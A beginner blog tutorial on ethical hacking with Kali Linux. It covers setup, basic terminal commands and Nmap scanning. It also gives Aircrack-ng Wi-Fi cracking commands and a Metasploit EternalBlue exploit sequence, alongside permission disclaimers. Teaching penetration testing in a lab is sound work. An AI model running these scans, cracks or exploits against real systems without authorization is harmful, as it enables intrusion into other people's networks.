Computer Hacking with Kali Linux:

Start Ethical Hacking with Kali Linux:

Hacking often sounds dangerous, but not all hacking is illegal. Ethical hacking helps protect computer systems from real attackers. Kali Linux is one of the most powerful operating systems used by hackers and cybersecurity experts. It comes with hundreds of tools to test security, find weaknesses, and protect networks.

In this beginner guide from Axximum Infosolutions, we will learn:

• What Kali Linux is
• How to set it up
• Basic hacking commands and tools
• Simple step-by-step practice for beginners

What is Kali Linux?

Kali Linux is a free and open-source operating system built for penetration testing and security research. It is based on Debian and comes with tools like:

• Nmap – network scanning
• Wireshark – traffic analysis
• Metasploit – exploitation framework
• Aircrack-ng – Wi-Fi hacking

---

Step 1: Installing Kali Linux

There are two ways to use Kali Linux:

1. Virtual Machine (Recommended for beginners)
   • Install VirtualBox or VMware
   • Download the official Kali Linux ISO
   • Create a new VM and load Kali ISO
2. Bootable USB
   • Download Rufus
   • Flash the Kali Linux ISO to a USB drive
   • Boot your system using the USB

---

Step 2: Learning the Terminal

Kali Linux is mostly terminal-based. Here are some starter commands:

pwd       # Shows current working directory
ls        # Lists files in directory
cd /dir   # Change directory
ifconfig  # Shows network details

---

Step 3: Network Scanning with Nmap

Nmap helps find devices on a network.

nmap -sP 192.168.1.0/24

👉 This command scans the whole network to see all active devices.

---

Step 4: Website Information Gathering with WHOIS

Use whois to check details about a domain.

whois example.com

---

Step 5: Checking Open Ports

Ports are entry points to a system. To see open ports:

nmap -p 1-65535 target.com

---

Step 6: Wi-Fi Network Testing (Educational Purpose Only ⚠️)

Aircrack-ng is used to test Wi-Fi password strength.

airmon-ng start wlan0
airodump-ng wlan0mon
aircrack-ng capturefile.cap -w wordlist.txt

⚠️ Disclaimer: Only test on your own Wi-Fi network. Hacking others’ Wi-Fi is illegal.

---

Step 7: Using Metasploit Framework

Metasploit is used for exploitation and payload testing.

msfconsole
search exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOST target_ip
exploit

This is how security professionals test vulnerabilities.

---

Step 8: Learn and Practice Safely

• Create your own test lab using virtual machines.
• Practice with Metasploitable 2 (an intentionally vulnerable OS).
• Never attack real networks or systems without permission.
